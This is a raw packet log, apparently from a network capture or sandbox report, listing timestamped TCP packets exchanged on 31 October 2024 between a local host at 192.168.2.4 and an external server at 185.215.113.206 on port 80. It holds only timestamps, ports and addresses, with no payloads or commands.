Oct 31, 2024 11:27:23.954488039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954490900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.954499960 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954510927 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.954511881 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954524994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954536915 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954539061 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.954550982 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954559088 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.954576015 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.954607010 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.954680920 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954694033 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954705954 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954716921 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954724073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.954757929 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.954864025 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954874992 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954886913 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954900026 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954905033 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.954914093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954924107 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.954926968 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954942942 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954957008 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.954957962 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.954986095 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.955004930 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.955143929 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.955156088 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.955173016 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.955183983 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.955187082 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.955200911 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.955204010 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.955215931 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.955223083 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.955230951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.955250978 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.955266953 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.968785048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.968811035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.968825102 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.968877077 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.968890905 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:23.968892097 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:23.968959093 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.070962906 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071093082 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.071255922 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071305990 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.071413040 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071449995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071460962 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.071496010 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.071506977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071554899 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.071566105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071603060 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071610928 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.071645021 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.071655989 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071692944 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071698904 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.071728945 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071738005 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.071764946 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071777105 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.071799994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071806908 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.071835995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071841955 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.071867943 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071881056 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.071908951 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.071923971 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071959972 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.071964979 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.072000980 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.072048903 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.072083950 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.072094917 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.072124004 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.072129965 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.072168112 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.072572947 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.072607994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.072619915 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.072649002 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.072753906 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.072797060 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.072813988 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.072849035 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.072854996 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.072891951 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.072911978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.072942972 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.072954893 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.072983980 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.072993994 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073030949 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073035955 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073071957 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073082924 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073120117 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073123932 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073154926 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073162079 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073190928 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073199987 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073226929 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073235989 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073261976 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073270082 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073296070 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073302031 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073329926 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073338032 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073364973 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073373079 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073404074 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073405981 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073438883 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073446035 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073473930 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073478937 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073510885 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073520899 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073548079 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073551893 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073581934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073590994 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073617935 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073626041 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073649883 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073658943 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073683977 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073694944 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073719978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073726892 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073755980 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073767900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073792934 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073801041 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073828936 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073837042 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073864937 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073868036 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073899984 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073905945 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073935032 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073942900 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.073971033 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.073977947 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074011087 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074012041 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074047089 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074058056 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074081898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074094057 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074114084 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074125051 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074148893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074155092 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074183941 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074196100 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074223995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074234009 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074259043 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074265957 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074295044 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074299097 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074331045 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074333906 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074366093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074373007 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074403048 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074410915 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074434996 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074444056 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074472904 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074476957 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074513912 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074523926 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074551105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074563980 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074585915 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074594021 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074621916 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074628115 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074657917 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074666977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074692011 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074698925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074728012 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074737072 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074762106 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074771881 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074798107 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074801922 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074834108 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074843884 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074872017 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074877977 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074906111 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074922085 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074940920 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074951887 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.074976921 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.074980974 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075011969 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075023890 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075047016 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075057030 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075084925 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075089931 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075117111 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075128078 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075159073 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075264931 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075299978 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075318098 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075351000 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075448990 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075484037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075498104 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075520039 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075527906 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075556993 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075563908 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075592995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075599909 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075628996 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075634956 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075665951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075673103 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075700045 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075707912 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075733900 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075745106 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075771093 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075778008 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075805902 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.075819969 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.075850010 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.086921930 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.086937904 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.086949110 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.087016106 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.087057114 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.087060928 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.087074995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.087089062 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.087100029 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.087101936 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.087127924 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.087146997 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188054085 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188075066 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188087940 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188141108 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188153028 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188164949 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188178062 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188185930 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188230038 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188239098 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188301086 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188314915 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188327074 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188338995 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188339949 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188352108 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188364983 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188369989 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188380003 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188393116 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188400984 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188405037 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188417912 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188419104 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188437939 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188455105 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188599110 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188611984 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188622952 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188636065 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188644886 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188649893 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188673973 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188694954 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188775063 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188786983 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188797951 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188808918 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188813925 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188822031 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188834906 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188863993 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.188977957 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.188988924 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189001083 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189012051 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189018011 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189023972 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189038992 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189045906 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189052105 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189071894 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189100027 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189268112 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189290047 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189301014 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189310074 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189328909 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189338923 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189341068 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189352036 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189363956 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189371109 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189378023 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189390898 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189397097 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189404011 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189416885 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189426899 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189429998 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189440012 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189450026 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189455986 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189460993 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189483881 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189507961 CET	49757	80	192.168.2.4	185.215.113.206
Oct 31, 2024 11:27:24.189681053 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189692020 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189703941 CET	80	49757	185.215.113.206	192.168.2.4
Oct 31, 2024 11:27:24.189717054 CET	80	49757	185.215.113.206	192.168.2.4
